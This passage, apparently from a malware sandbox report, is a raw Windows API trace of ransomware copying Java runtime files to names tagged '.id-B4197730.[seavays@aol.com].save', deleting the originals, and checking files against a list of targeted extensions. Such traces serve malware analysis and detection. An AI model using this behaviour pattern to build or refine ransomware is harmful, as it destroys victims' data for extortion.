lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0161.288] WriteFile (in: hFile=0x3b8, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x104, lpOverlapped=0x0) returned 1 [0161.288] SetEndOfFile (hFile=0x3b8) returned 1 [0161.288] CloseHandle (hObject=0x3b8) returned 1 [0161.289] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.289] SetEndOfFile (hFile=0x39c) returned 1 [0161.292] CloseHandle (hObject=0x39c) returned 1 [0161.293] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0161.293] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\content-types.properties")) returned 1 [0161.684] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63 [0161.684] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63 [0161.685] lstrlenW (lpString=".doc") returned 4 [0161.685] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0161.685] lstrlenW (lpString=".docx") returned 5 [0161.685] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0161.685] lstrlenW (lpString=".pdf") returned 4 [0161.685] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0161.685] lstrlenW (lpString=".xls") returned 4 [0161.685] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0161.685] lstrlenW (lpString=".xlsx") returned 5 [0161.685] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0161.685] lstrlenW (lpString=".ppt") returned 4 [0161.685] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0161.685] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63 [0161.685] lstrlenW (lpString=".zip") returned 4 [0161.685] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0161.685] lstrlenW (lpString=".rar") returned 4 [0161.685] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0161.685] lstrlenW (lpString=".bz2") returned 4 [0161.685] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0161.685] lstrlenW (lpString=".7z") returned 3 [0161.685] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0161.685] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63 [0161.685] lstrlenW (lpString=".dbf") returned 4 [0161.685] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0161.685] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63 [0161.685] lstrlenW (lpString=".1cd") returned 4 [0161.685] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0161.686] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63 [0161.686] lstrlenW (lpString=".jpg") returned 4 [0161.686] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0161.686] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63 [0161.686] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63 [0161.686] lstrlenW (lpString=".doc") returned 4 [0161.686] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0161.686] lstrlenW (lpString=".docx") returned 5 [0161.686] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0161.686] lstrlenW (lpString=".pdf") returned 4 [0161.686] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0161.686] lstrlenW (lpString=".xls") returned 4 [0161.686] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0161.686] lstrlenW (lpString=".xlsx") returned 5 [0161.686] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0161.686] lstrlenW (lpString=".ppt") returned 4 [0161.686] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0161.686] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63 [0161.686] lstrlenW (lpString=".zip") returned 4 [0161.686] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0161.686] lstrlenW (lpString=".rar") returned 4 [0161.686] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0161.686] lstrlenW (lpString=".bz2") returned 4 [0161.686] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0161.686] lstrlenW (lpString=".7z") returned 3 [0161.686] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0161.687] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63 [0161.687] lstrlenW (lpString=".dbf") returned 4 [0161.687] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0161.687] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63 [0161.687] lstrlenW (lpString=".1cd") returned 4 [0161.687] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0161.687] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63 [0161.687] lstrlenW (lpString=".jpg") returned 4 [0161.687] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0161.687] lstrcmpiW (lpString1=".properties", lpString2=".save") returned -1 [0161.687] lstrlenW (lpString="messages_es.properties") returned 22 [0161.687] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0162.140] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x3e3ff14 | out: lpFileSize=0x3e3ff14*=3600) returned 1 [0162.140] CloseHandle (hObject=0x3e0) returned 1 [0162.140] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties")) returned 0x20 [0162.141] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0162.142] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0162.142] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0162.142] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0162.142] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0162.144] GetLastError () returned 0x0 [0162.144] ReadFile (in: hFile=0x3e0, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0xe10, lpOverlapped=0x0) returned 1 [0162.148] WriteFile (in: hFile=0x3f8, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0xe20, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0xe20, lpOverlapped=0x0) returned 1 [0162.149] ReadFile (in: hFile=0x3e0, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0162.149] WriteFile (in: hFile=0x3f8, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x100, lpOverlapped=0x0) returned 1 [0162.150] SetEndOfFile (hFile=0x3f8) returned 1 [0162.150] CloseHandle (hObject=0x3f8) returned 1 [0162.150] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0162.150] SetEndOfFile (hFile=0x3e0) returned 1 [0162.153] CloseHandle (hObject=0x3e0) returned 1 [0162.153] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0162.153] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties")) returned 1 [0162.154] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68 [0162.154] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68 [0162.154] lstrlenW (lpString=".doc") returned 4 [0162.154] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0162.154] lstrlenW (lpString=".docx") returned 5 [0162.154] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0162.154] lstrlenW (lpString=".pdf") returned 4 [0162.155] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0162.155] lstrlenW (lpString=".xls") returned 4 [0162.155] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0162.155] lstrlenW (lpString=".xlsx") returned 5 [0162.155] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0162.155] lstrlenW (lpString=".ppt") returned 4 [0162.155] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0162.155] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68 [0162.155] lstrlenW (lpString=".zip") returned 4 [0162.155] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0162.155] lstrlenW (lpString=".rar") returned 4 [0162.155] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0162.155] lstrlenW (lpString=".bz2") returned 4 [0162.155] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0162.155] lstrlenW (lpString=".7z") returned 3 [0162.155] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0162.156] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68 [0162.156] lstrlenW (lpString=".dbf") returned 4 [0162.156] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0162.156] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68 [0162.156] lstrlenW (lpString=".1cd") returned 4 [0162.156] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0162.156] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68 [0162.156] lstrlenW (lpString=".jpg") returned 4 [0162.156] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0162.156] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68 [0162.156] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68 [0162.156] lstrlenW (lpString=".doc") returned 4 [0162.156] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0162.156] lstrlenW (lpString=".docx") returned 5 [0162.156] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0162.156] lstrlenW (lpString=".pdf") returned 4 [0162.157] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0162.157] lstrlenW (lpString=".xls") returned 4 [0162.157] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0162.157] lstrlenW (lpString=".xlsx") returned 5 [0162.157] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0162.157] lstrlenW (lpString=".ppt") returned 4 [0162.157] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0162.157] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68 [0162.157] lstrlenW (lpString=".zip") returned 4 [0162.157] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0162.157] lstrlenW (lpString=".rar") returned 4 [0162.157] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0162.157] lstrlenW (lpString=".bz2") returned 4 [0162.157] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0162.157] lstrlenW (lpString=".7z") returned 3 [0162.157] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0162.157] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68 [0162.157] lstrlenW (lpString=".dbf") returned 4 [0162.158] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0162.158] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68 [0162.158] lstrlenW (lpString=".1cd") returned 4 [0162.158] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0162.158] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68 [0162.158] lstrlenW (lpString=".jpg") returned 4 [0162.158] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0162.158] lstrcmpiW (lpString1=".properties", lpString2=".save") returned -1 [0162.158] lstrlenW (lpString="messages_fr.properties") returned 22 [0162.158] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0162.159] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x3e3ff14 | out: lpFileSize=0x3e3ff14*=3409) returned 1 [0162.159] CloseHandle (hObject=0x3e0) returned 1 [0162.160] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties")) returned 0x20 [0162.160] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0162.160] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0162.160] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0162.160] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0162.161] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0162.161] GetLastError () returned 0x0 [0162.161] ReadFile (in: hFile=0x3e0, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0xd51, lpOverlapped=0x0) returned 1 [0162.163] WriteFile (in: hFile=0x3f8, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0xd60, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0xd60, lpOverlapped=0x0) returned 1 [0162.164] ReadFile (in: hFile=0x3e0, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0162.164] WriteFile (in: hFile=0x3f8, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x100, lpOverlapped=0x0) returned 1 [0162.164] SetEndOfFile (hFile=0x3f8) returned 1 [0162.164] CloseHandle (hObject=0x3f8) returned 1 [0162.165] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0162.165] SetEndOfFile (hFile=0x3e0) returned 1 [0162.169] CloseHandle (hObject=0x3e0) returned 1 [0162.169] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0162.169] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties")) returned 1 [0162.170] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68 [0162.170] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68 [0162.170] lstrlenW (lpString=".doc") returned 4 [0162.170] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0162.170] lstrlenW (lpString=".docx") returned 5 [0162.170] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0162.170] lstrlenW (lpString=".pdf") returned 4 [0162.170] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0162.170] lstrlenW (lpString=".xls") returned 4 [0162.170] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0162.170] lstrlenW (lpString=".xlsx") returned 5 [0162.170] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0162.170] lstrlenW (lpString=".ppt") returned 4 [0162.170] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0162.170] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68 [0162.170] lstrlenW (lpString=".zip") returned 4 [0162.171] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0162.171] lstrlenW (lpString=".rar") returned 4 [0162.171] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0162.171] lstrlenW (lpString=".bz2") returned 4 [0162.171] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0162.171] lstrlenW (lpString=".7z") returned 3 [0162.171] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0162.171] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68 [0162.171] lstrlenW (lpString=".dbf") returned 4 [0162.171] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0162.171] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68 [0162.171] lstrlenW (lpString=".1cd") returned 4 [0162.171] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0162.171] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68 [0162.171] lstrlenW (lpString=".jpg") returned 4 [0162.171] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0162.171] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68 [0162.171] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68 [0162.171] lstrlenW (lpString=".doc") returned 4 [0162.171] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0162.171] lstrlenW (lpString=".docx") returned 5 [0162.171] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0162.171] lstrlenW (lpString=".pdf") returned 4 [0162.171] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0162.172] lstrlenW (lpString=".xls") returned 4 [0162.172] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0162.172] lstrlenW (lpString=".xlsx") returned 5 [0162.172] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0162.172] lstrlenW (lpString=".ppt") returned 4 [0162.172] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0162.172] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68 [0162.172] lstrlenW (lpString=".zip") returned 4 [0162.172] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0162.172] lstrlenW (lpString=".rar") returned 4 [0162.172] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0162.172] lstrlenW (lpString=".bz2") returned 4 [0162.172] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0162.172] lstrlenW (lpString=".7z") returned 3 [0162.172] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0162.172] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68 [0162.172] lstrlenW (lpString=".dbf") returned 4 [0162.172] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0162.172] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68 [0162.172] lstrlenW (lpString=".1cd") returned 4 [0162.172] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0162.172] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68 [0162.172] lstrlenW (lpString=".jpg") returned 4 [0162.172] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0162.172] lstrcmpiW (lpString1=".properties", lpString2=".save") returned -1 [0162.172] lstrlenW (lpString="messages_it.properties") returned 22 [0162.173] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0162.173] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x3e3ff14 | out: lpFileSize=0x3e3ff14*=3223) returned 1 [0162.173] CloseHandle (hObject=0x3e0) returned 1 [0162.173] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties")) returned 0x20 [0162.173] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0162.174] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0162.174] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0162.174] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0162.174] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0162.174] GetLastError () returned 0x0 [0162.174] ReadFile (in: hFile=0x3e0, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0xc97, lpOverlapped=0x0) returned 1 [0162.674] WriteFile (in: hFile=0x3f4, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0xca0, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0xca0, lpOverlapped=0x0) returned 1 [0162.675] ReadFile (in: hFile=0x3e0, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0162.675] WriteFile (in: hFile=0x3f4, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x100, lpOverlapped=0x0) returned 1 [0162.676] SetEndOfFile (hFile=0x3f4) returned 1 [0162.676] CloseHandle (hObject=0x3f4) returned 1 [0162.676] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0162.676] SetEndOfFile (hFile=0x3e0) returned 1 [0162.680] CloseHandle (hObject=0x3e0) returned 1 [0162.680] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0162.680] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties")) returned 1 [0162.681] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68 [0162.681] lstrlenW (lpString="C:\\Program 